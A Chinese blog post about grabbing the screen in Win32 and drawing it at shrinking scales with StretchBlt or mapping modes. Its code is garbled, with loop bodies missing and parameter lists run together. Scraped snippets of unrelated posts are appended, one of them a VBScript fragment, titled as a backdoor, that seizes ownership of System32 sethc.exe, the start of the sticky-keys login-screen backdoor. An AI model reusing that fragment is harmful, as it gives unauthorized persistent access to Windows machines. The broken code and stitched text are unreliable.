win32學了一段時間了,跟著楊老師的腳步,準備學習mfc,因此最近幾天在複習c++,於是發現有將近一周沒寫博文了……
今天來寫乙個較為簡單、但是比較有意思的東西
理髮店一般都有兩面對立的鏡子,你仔細一看會發現,兩面鏡子裡面的成像逐漸縮小,並且居中排列,很有意思
盜夢空間中也有乙個類似的場景,我截了乙個圖:
yes,今天就來做乙個這樣的效果,只不過是抓的螢幕
好吧,先來看看程式執行效果,來對比一下:
下面進入主題,剖析實現細節,主要分兩大步:
(1)要對螢幕"工作",在win32中必須獲取螢幕的hdc。有兩種主要的方式:
1)getdc(hwnd), 傳遞引數null——getdc(null)(2)貼圖2)createdc(text("display"), null, null, null);
獲取環境hdc後,在hdc中會儲存螢幕的狀態——相當於螢幕的截圖,只是用bmp儲存的具體核心實現**如下:今天貼圖用乙個更好的函式stretchblt,它有乙個很好的功能——可以按比例縮放bmp點陣圖,然後顯示:
bool stretchblt(使用方法和bitblt很類似,應該不用贅述了……hdc
hdcdest,// handle to destination dcintnxorigindest
,// x-coord of destination upper-left cornerintnyorigindest
,// y-coord of destination upper-left cornerintnwidthdest
,// width of destination rectangleintnheightdest
,// height of destination rectanglehdchdcsrc
,// handle to source dcintnxoriginsrc
,// x-coord of source upper-left cornerintnyoriginsrc
,// y-coord of source upper-left cornerintnwidthsrc
,// width of source rectangleintnheightsrc
,// height of source rectangledworddwrop
// raster operation code);
int cxscreen, cyscreen;//全域性變數——螢幕的長寬,用於視窗居中和縮放顯示bmp
hdccli = beginpaint(hwnd, &ps);
hdcscr = getdc(null);
//迴圈3次
i = 0;
while(i<3)
deletedc(hdcscr);
endpaint(hwnd, &ps);
這種方式很簡單,當然我肯定不會簡單用一下這個函式就了事了,這個沒什麼大不了的,下面我在介紹一種使用gdi對映模式+bitblt來貼bmp點陣圖,實現效果和上面說的完全一樣
bitblt函式沒有縮放功能,我就用對映模式來實現縮放功能,縮放的具體實現**如下:
hdccli = beginpaint(hwnd, &ps);
hdcscr = getdc(null);
setmapmode(hdccli, mm_anisotropic);//設定x、y方向異性模式,就是說x、y方向可以不同
setwindowextex(hdccli, cxscreen, cyscreen, null);//設定視窗範圍
setviewportextex(hdccli, cxclient, cyclient, null);//設定視口範圍
//這樣就能將cxscreen * cyscreen的大小縮放為cxclient * cyclient的大小,就是將螢幕大小縮小為客戶區大小
//迴圈3次
i = 0;
while(i<3)
deletedc(hdcscr);
endpaint(hwnd, &ps);
這兩種方式實現的效果完全一樣,多一種方式,多一種思路,這樣才能提高能力…… 有意思的程式 抓取螢幕
win32學了一段時間了,跟著楊老師的腳步,準備學習mfc,因此最近幾天在複習c 於是發現有將近一周沒寫博文了 今天來寫乙個較為簡單 但是比較有意思的東西 理髮店一般都有兩面對立的鏡子,你仔細一看會發現,兩面鏡子裡面的成像逐漸縮小,並且居中排列,很有意思 盜夢空間中也有乙個類似的場景,我截了乙個圖 ...
有意思的話
1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...